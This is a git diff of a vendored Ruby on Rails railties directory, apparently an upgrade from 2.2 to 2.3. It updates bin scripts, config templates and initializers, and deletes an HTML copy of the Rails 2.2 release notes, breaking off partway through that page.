--- a/vendor/rails/railties/bin/process/spawner
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/process/spawner'
diff --git a/vendor/rails/railties/bin/rails b/vendor/rails/railties/bin/rails
index ae0cc8ad..6a0c6752 100755
--- a/vendor/rails/railties/bin/rails
+++ b/vendor/rails/railties/bin/rails
@@ -8,6 +8,7 @@ if %w(--version -v).include? ARGV.first
 end
 
 freeze   = ARGV.any? { |option| %w(--freeze -f).include?(option) }
+
 app_path = ARGV.first
 
 require File.dirname(__FILE__) + '/../lib/rails_generator'
diff --git a/vendor/rails/railties/bin/runner b/vendor/rails/railties/bin/runner
index a4a7cb25..be4c5d45 100755
--- a/vendor/rails/railties/bin/runner
+++ b/vendor/rails/railties/bin/runner
@@ -1,3 +1,3 @@
 #!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
+require File.expand_path('../../config/boot',  __FILE__)
 require 'commands/runner'
diff --git a/vendor/rails/railties/bin/server b/vendor/rails/railties/bin/server
index 3c67f39b..b9fcb717 100755
--- a/vendor/rails/railties/bin/server
+++ b/vendor/rails/railties/bin/server
@@ -1,3 +1,3 @@
 #!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
+require File.expand_path('../../config/boot',  __FILE__)
 require 'commands/server'
diff --git a/vendor/rails/railties/builtin/rails_info/rails/info.rb b/vendor/rails/railties/builtin/rails_info/rails/info.rb
index 4cbd2cca..8c858d23 100644
--- a/vendor/rails/railties/builtin/rails_info/rails/info.rb
+++ b/vendor/rails/railties/builtin/rails_info/rails/info.rb
@@ -20,13 +20,15 @@ module Rails
       rescue Exception
       end
 
-      def components
+      def frameworks
         %w( active_record action_pack active_resource action_mailer active_support )
       end
 
-      def component_version(component)
-        require "#{component}/version"
-        "#{component.classify}::VERSION::STRING".constantize
+      def framework_version(framework)
+        if Object.const_defined?(framework.classify)
+          require "#{framework}/version"
+          "#{framework.classify}::VERSION::STRING".constantize
+        end
       end
 
       def edge_rails_revision(info = git_info)
@@ -85,16 +87,20 @@ module Rails
       Gem::RubyGemsVersion
     end
 
+    property 'Rack version' do
+      ::Rack.release
+    end
+
     # The Rails version.
     property 'Rails version' do
       Rails::VERSION::STRING
     end
 
-    # Versions of each Rails component (Active Record, Action Pack,
+    # Versions of each Rails framework (Active Record, Action Pack,
     # Active Resource, Action Mailer, and Active Support).
-    components.each do |component|
-      property "#{component.titlecase} version" do
-        component_version(component)
+    frameworks.each do |framework|
+      property "#{framework.titlecase} version" do
+        framework_version(framework)
       end
     end
 
diff --git a/vendor/rails/railties/config.ru b/vendor/rails/railties/config.ru
deleted file mode 100644
index 43492a2d..00000000
--- a/vendor/rails/railties/config.ru
+++ /dev/null
@@ -1,17 +0,0 @@
-# Rackup Configuration
-#
-# Start Rails mongrel server with rackup
-# $ rackup -p 3000 config.ru
-#
-# Start server with webrick (or any compatible Rack server) instead
-# $ rackup -p 3000 -s webrick config.ru
-
-# Require your environment file to bootstrap Rails
-require File.dirname(__FILE__) + '/config/environment'
-
-# Static server middleware
-# You can remove this extra check if you use an asset server
-use Rails::Rack::Static
-
-# Dispatch the request
-run ActionController::Dispatcher.new
diff --git a/vendor/rails/railties/configs/apache.conf b/vendor/rails/railties/configs/apache.conf
deleted file mode 100644
index d9d211c0..00000000
--- a/vendor/rails/railties/configs/apache.conf
+++ /dev/null
@@ -1,40 +0,0 @@
-# General Apache options
-AddHandler fastcgi-script .fcgi
-AddHandler cgi-script .cgi
-Options +FollowSymLinks +ExecCGI
-
-# If you don't want Rails to look in certain directories,
-# use the following rewrite rules so that Apache won't rewrite certain requests
-# 
-# Example:
-#   RewriteCond %{REQUEST_URI} ^/notrails.*
-#   RewriteRule .* - [L]
-
-# Redirect all requests not available on the filesystem to Rails
-# By default the cgi dispatcher is used which is very slow
-# 
-# For better performance replace the dispatcher with the fastcgi one
-#
-# Example:
-#   RewriteRule ^(.*)$ dispatch.fcgi [QSA,L]
-RewriteEngine On
-
-# If your Rails application is accessed via an Alias directive,
-# then you MUST also set the RewriteBase in this htaccess file.
-#
-# Example:
-#   Alias /myrailsapp /path/to/myrailsapp/public
-#   RewriteBase /myrailsapp
-
-RewriteRule ^$ index.html [QSA]
-RewriteRule ^([^.]+)$ $1.html [QSA]
-RewriteCond %{REQUEST_FILENAME} !-f
-RewriteRule ^(.*)$ dispatch.cgi [QSA,L]
-
-# In case Rails experiences terminal errors
-# Instead of displaying this message you can supply a file here which will be rendered instead
-# 
-# Example:
-#   ErrorDocument 500 /500.html
-
-ErrorDocument 500 "<h2>Application error</h2>Rails application failed to start properly"
diff --git a/vendor/rails/railties/configs/databases/mysql.yml b/vendor/rails/railties/configs/databases/mysql.yml
index a4406e49..1a14bfb3 100644
--- a/vendor/rails/railties/configs/databases/mysql.yml
+++ b/vendor/rails/railties/configs/databases/mysql.yml
@@ -17,6 +17,7 @@
 development:
   adapter: mysql
   encoding: utf8
+  reconnect: false
   database: <%= app_name %>_development
   pool: 5
   username: root
@@ -33,6 +34,7 @@ development:
 test:
   adapter: mysql
   encoding: utf8
+  reconnect: false
   database: <%= app_name %>_test
   pool: 5
   username: root
@@ -46,6 +48,7 @@ test:
 production:
   adapter: mysql
   encoding: utf8
+  reconnect: false
   database: <%= app_name %>_production
   pool: 5
   username: root
diff --git a/vendor/rails/railties/configs/initializers/backtrace_silencers.rb b/vendor/rails/railties/configs/initializers/backtrace_silencers.rb
new file mode 100644
index 00000000..c2169ed0
--- /dev/null
+++ b/vendor/rails/railties/configs/initializers/backtrace_silencers.rb
@@ -0,0 +1,7 @@
+# Be sure to restart your server when you modify this file.
+
+# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
+# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
+
+# You can also remove all the silencers if you're trying do debug a problem that might steem from framework code.
+# Rails.backtrace_cleaner.remove_silencers!
\ No newline at end of file
diff --git a/vendor/rails/railties/configs/initializers/new_rails_defaults.rb b/vendor/rails/railties/configs/initializers/new_rails_defaults.rb
index 78e0117c..c94db0a6 100644
--- a/vendor/rails/railties/configs/initializers/new_rails_defaults.rb
+++ b/vendor/rails/railties/configs/initializers/new_rails_defaults.rb
@@ -1,3 +1,5 @@
+# Be sure to restart your server when you modify this file.
+
 # These settings change the behavior of Rails 2 apps and will be defaults
 # for Rails 3. You can remove this initializer when Rails 3 is released.
 
@@ -9,6 +11,8 @@ if defined?(ActiveRecord)
   ActiveRecord::Base.store_full_sti_class = true
 end
 
+ActionController::Routing.generate_best_match = false
+
 # Use ISO 8601 format for JSON serialized times and dates.
 ActiveSupport.use_standard_json_time_format = true
 
diff --git a/vendor/rails/railties/configs/initializers/session_store.rb b/vendor/rails/railties/configs/initializers/session_store.rb
new file mode 100644
index 00000000..4499ab84
--- /dev/null
+++ b/vendor/rails/railties/configs/initializers/session_store.rb
@@ -0,0 +1,15 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key for verifying cookie session data integrity.
+# If you change this key, all old sessions will become invalid!
+# Make sure the secret is at least 30 characters and all random, 
+# no regular words or you'll be exposed to dictionary attacks.
+ActionController::Base.session = {
+  :key         => '_<%= app_name %>_session',
+  :secret      => '<%= app_secret %>'
+}
+
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rake db:sessions:create")
+# ActionController::Base.session_store = :active_record_store
diff --git a/vendor/rails/railties/configs/lighttpd.conf b/vendor/rails/railties/configs/lighttpd.conf
deleted file mode 100644
index ed68d714..00000000
--- a/vendor/rails/railties/configs/lighttpd.conf
+++ /dev/null
@@ -1,54 +0,0 @@
-# Default configuration file for the lighttpd web server
-# Start using ./script/server lighttpd
-
-server.bind = "0.0.0.0"
-server.port = 3000
-
-server.modules           = ( "mod_rewrite", "mod_accesslog", "mod_fastcgi", "mod_compress", "mod_expire" )
-
-server.error-handler-404 = "/dispatch.fcgi"
-server.pid-file          = CWD + "/tmp/pids/lighttpd.pid"
-server.document-root     = CWD + "/public/"
-
-server.errorlog          = CWD + "/log/lighttpd.error.log"
-accesslog.filename       = CWD + "/log/lighttpd.access.log"
-
-url.rewrite              = ( "^/$" => "index.html", "^([^.]+)$" => "$1.html" )
-
-compress.filetype        = ( "text/plain", "text/html", "text/css", "text/javascript" )
-compress.cache-dir       = CWD + "/tmp/cache"
-
-expire.url               = ( "/favicon.ico"  => "access 3 days", 
-                             "/images/"      => "access 3 days", 
-                             "/stylesheets/" => "access 3 days",
-                             "/javascripts/" => "access 3 days" )
-
-
-# Change *-procs to 2 if you need to use Upload Progress or other tasks that
-# *need* to execute a second request while the first is still pending.
-fastcgi.server      = ( ".fcgi" => ( "localhost" => (
-  "min-procs"       => 1, 
-  "max-procs"       => 1,
-  "socket"          => CWD + "/tmp/sockets/fcgi.socket",
-  "bin-path"        => CWD + "/public/dispatch.fcgi",
-  "bin-environment" => ( "RAILS_ENV" => "development" )
-) ) )
-
-mimetype.assign = (  
-  ".css"        =>  "text/css",
-  ".gif"        =>  "image/gif",
-  ".htm"        =>  "text/html",
-  ".html"       =>  "text/html",
-  ".jpeg"       =>  "image/jpeg",
-  ".jpg"        =>  "image/jpeg",
-  ".js"         =>  "text/javascript",
-  ".png"        =>  "image/png",
-  ".swf"        =>  "application/x-shockwave-flash",
-  ".txt"        =>  "text/plain"
-)
-
-# Making sure file uploads above 64k always work when using IE or Safari
-# For more information, see http://trac.lighttpd.net/trac/ticket/360
-$HTTP["useragent"] =~ "^(.*MSIE.*)|(.*AppleWebKit.*)$" {
-  server.max-keep-alive-requests = 0
-}
diff --git a/vendor/rails/railties/configs/routes.rb b/vendor/rails/railties/configs/routes.rb
index 4f3d9d22..ea14ce1b 100644
--- a/vendor/rails/railties/configs/routes.rb
+++ b/vendor/rails/railties/configs/routes.rb
@@ -37,7 +37,7 @@ ActionController::Routing::Routes.draw do |map|
 
   # Install the default routes as the lowest priority.
   # Note: These default routes make all actions in every controller accessible via GET requests. You should
-  # consider removing the them or commenting them out if you're using named routes and resources.
+  # consider removing or commenting them out if you're using named routes and resources.
   map.connect ':controller/:action/:id'
   map.connect ':controller/:action/:id.:format'
 end
diff --git a/vendor/rails/railties/configs/seeds.rb b/vendor/rails/railties/configs/seeds.rb
new file mode 100644
index 00000000..3174d0cb
--- /dev/null
+++ b/vendor/rails/railties/configs/seeds.rb
@@ -0,0 +1,7 @@
+# This file should contain all the record creation needed to seed the database with its default values.
+# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
+#
+# Examples:
+#   
+#   cities = City.create([{ :name => 'Chicago' }, { :name => 'Copenhagen' }])
+#   Major.create(:name => 'Daley', :city => cities.first)
diff --git a/vendor/rails/railties/dispatches/config.ru b/vendor/rails/railties/dispatches/config.ru
new file mode 100644
index 00000000..acbfe4e9
--- /dev/null
+++ b/vendor/rails/railties/dispatches/config.ru
@@ -0,0 +1,7 @@
+# Rack Dispatcher
+
+# Require your environment file to bootstrap Rails
+require File.dirname(__FILE__) + '/config/environment'
+
+# Dispatch the request
+run ActionController::Dispatcher.new
diff --git a/vendor/rails/railties/doc/README_FOR_APP b/vendor/rails/railties/doc/README_FOR_APP
index e33b8581..fe41f5cc 100644
--- a/vendor/rails/railties/doc/README_FOR_APP
+++ b/vendor/rails/railties/doc/README_FOR_APP
@@ -1,5 +1,2 @@
-To build the guides:
-
-* Install source-highlighter (http://www.gnu.org/software/src-highlite/source-highlight.html)
-* Install the mizuho gem (http://github.com/FooBarWidget/mizuho/tree/master)
-* Run `rake guides` from the railties directory
\ No newline at end of file
+Use this README file to introduce your application and point to useful places in the API for learning more.
+Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries.
diff --git a/vendor/rails/railties/doc/guides/html/2_2_release_notes.html b/vendor/rails/railties/doc/guides/html/2_2_release_notes.html
deleted file mode 100644
index f53ba2c2..00000000
--- a/vendor/rails/railties/doc/guides/html/2_2_release_notes.html
+++ /dev/null
@@ -1,1185 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Ruby on Rails 2.2 Release Notes</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-#
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_infrastructure">Infrastructure</a>
-						<ul>
-						
-							<li><a href="#_internationalization">Internationalization</a></li>
-						
-							<li><a href="#_compatibility_with_ruby_1_9_and_jruby">Compatibility with Ruby 1.9 and JRuby</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_documentation">Documentation</a>
-					</li>
-					<li>
-					<a href="#_better_integration_with_http_out_of_the_box_etag_support">Better integration with HTTP : Out of the box ETag support</a>
-					</li>
-					<li>
-					<a href="#_thread_safety">Thread Safety</a>
-					</li>
-					<li>
-					<a href="#_active_record">Active Record</a>
-						<ul>
-						
-							<li><a href="#_transactional_migrations">Transactional Migrations</a></li>
-						
-							<li><a href="#_connection_pooling">Connection Pooling</a></li>
-						
-							<li><a href="#_hashes_for_join_table_conditions">Hashes for Join Table Conditions</a></li>
-						
-							<li><a href="#_new_dynamic_finders">New Dynamic Finders</a></li>
-						
-							<li><a href="#_associations_respect_private_protected_scope">Associations Respect Private/Protected Scope</a></li>
-						
-							<li><a href="#_other_activerecord_changes">Other ActiveRecord Changes</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_action_controller">Action Controller</a>
-						<ul>
-						
-							<li><a href="#_shallow_route_nesting">Shallow Route Nesting</a></li>
-						
-							<li><a href="#_method_arrays_for_member_or_collection_routes">Method Arrays for Member or Collection Routes</a></li>
-						
-							<li><a href="#_resources_with_specific_actions">Resources With Specific Actions</a></li>
-						
-							<li><a href="#_other_action_controller_changes">Other Action Controller Changes</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_action_view">Action View</a>
-					</li>
-					<li>
-					<a href="#_action_mailer">Action Mailer</a>
-					</li>
-					<li>
-					<a href="#_active_support">Active Support</a>
-						<ul>
-						
-							<li><a href="#_memoization">Memoization</a></li>
-						
-							<li><a href="#_tt_each_with_object_tt"><tt>each_with_object</tt></a></li>
-						
-							<li><a href="#_delegates_with_prefixes">Delegates With Prefixes</a></li>
-						
-							<li><a href="#_other_active_support_changes">Other Active Support Changes</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_railties">Railties</a>
-						<ul>
-						
-							<li><a href="#_tt_config_gems_tt"><tt>config.gems</tt></a></li>
-						
-							<li><a href="#_other_railties_changes">Other Railties Changes</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_deprecated">Deprecated</a>
-					</li>
-					<li>
-					<a href="#_credits">Credits</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Ruby on Rails 2.2 Release Notes</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the <a href="http://github.com/rails/rails/commits/master">list of commits</a> in the main Rails repository on GitHub.</p></div>
-<div class="para"><p>Along with Rails, 2.2 marks the launch of the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a>, the first results of the ongoing <a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a>. This site will deliver high-quality documentation of the major features of Rails.</p></div>
-</div>
-</div>
-<h2 id="_infrastructure">1. Infrastructure</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.</p></div>
-<h3 id="_internationalization">1.1. Internationalization</h3>
-<div class="para"><p>Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributors: Rails i18 Team
-</p>
-</li>
-<li>
-<p>
-More information :
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://rails-i18n.org">Official Rails i18 website</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized">Finally. Ruby on Rails gets internationalized</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://i18n-demo.phusion.nl">Localizing Rails : Demo application</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_compatibility_with_ruby_1_9_and_jruby">1.2. Compatibility with Ruby 1.9 and JRuby</h3>
-<div class="para"><p>Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.</p></div>
-</div>
-<h2 id="_documentation">2. Documentation</h2>
-<div class="sectionbody">
-<div class="para"><p>The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a> project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/getting_started_with_rails.html">Getting Started with Rails</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/migrations.html">Rails Database Migrations</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/association_basics.html">Active Record Associations</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/finders.html">Active Record Finders</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/layouts_and_rendering.html">Layouts and Rendering in Rails</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/form_helpers.html">Action View Form Helpers</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/routing_outside_in.html">Rails Routing from the Outside In</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/actioncontroller_basics.html">Basics of Action Controller</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/caching_with_rails.html">Rails Caching</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/testing_rails_applications.html">Testing Rails Applications</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/security.html">Securing Rails Applications</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/debugging_rails_applications.html">Debugging Rails Applications</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/benchmarking_and_profiling.html">Benchmarking and Profiling Rails Applications</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/creating_plugins.html">The Basics of Creating Rails Plugins</a>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.</p></div>
-<div class="para"><p>If you want to generate these guides locally, inside your application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>rake doc<span style="color: #990000">:</span>guides
-</tt></pre></div></div>
-<div class="para"><p>This will put the guides inside <tt>RAILS_ROOT/doc/guides</tt> and you may start surfing straight away by opening <tt>RAILS_ROOT/doc/guides/index.html</tt> in your favourite browser.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributors: <a href="http://guides.rails.info/authors.html">Rails Documentation Team</a>
-</p>
-</li>
-<li>
-<p>
-Major contributions from <a href="http://advogato.org/person/fxn/diary.html">Xavier Noria</a> and <a href="http://izumi.plan99.net/blog/">Hongli Lai</a>.
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch">Help improve Rails documentation on Git branch</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-</div>
-<h2 id="_better_integration_with_http_out_of_the_box_etag_support">3. Better integration with HTTP : Out of the box ETag support</h2>
-<div class="sectionbody">
-<div class="para"><p>Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ArticlesController <span style="color: #990000">&lt;</span> ApplicationController
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show_with_respond_to_block
-    <span style="color: #009900">@article</span> <span style="color: #990000">=</span> Article<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
-    <span style="font-style: italic"><span style="color: #9A1900"># If the request sends headers that differs from the options provided to stale?, then</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># the request is indeed stale and the respond_to block is triggered (and the options</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># to the stale? call is set on the response).</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900">#</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># If the request headers match, then the request is fresh and the respond_to block is</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># not triggered. Instead the default render will occur, which will check the last-modified</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># and etag headers and conclude that it only needs to send a "304 Not Modified" instead</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># of rendering the template.</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> stale?<span style="color: #990000">(:</span>last_modified <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">.</span>published_at<span style="color: #990000">.</span>utc<span style="color: #990000">,</span> <span style="color: #990000">:</span>etag <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">)</span>
-      respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>wants<span style="color: #990000">|</span>
-        <span style="font-style: italic"><span style="color: #9A1900"># normal response processing</span></span>
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show_with_implied_render
-    <span style="color: #009900">@article</span> <span style="color: #990000">=</span> Article<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
-    <span style="font-style: italic"><span style="color: #9A1900"># Sets the response headers and checks them against the request, if the request is stale</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># (i.e. no match of either etag or last-modified), then the default render of the template happens.</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># If the request is fresh, then the default render will return a "304 Not Modified"</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># instead of rendering the template.</span></span>
-    fresh_when<span style="color: #990000">(:</span>last_modified <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">.</span>published_at<span style="color: #990000">.</span>utc<span style="color: #990000">,</span> <span style="color: #990000">:</span>etag <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_thread_safety">4. Thread Safety</h2>
-<div class="sectionbody">
-<div class="para"><p>The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.</p></div>
-<div class="para"><p>To enable multithreaded dispatching in production mode of your application, add the following line in your <tt>config/environments/production.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>threadsafe!
-</tt></pre></div></div>
-<div class="ilist"><ul>
-<li>
-<p>
-More information :
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://m.onkey.org/2008/10/23/thread-safety-for-your-rails">Thread safety for your Rails</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core">Thread safety project announcement</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html">Q/A: What Thread-safe Rails Means</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-</div>
-<h2 id="_active_record">5. Active Record</h2>
-<div class="sectionbody">
-<div class="para"><p>There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.</p></div>
-<h3 id="_transactional_migrations">5.1. Transactional Migrations</h3>
-<div class="para"><p>Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by <tt>rake db:migrate:redo</tt> after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
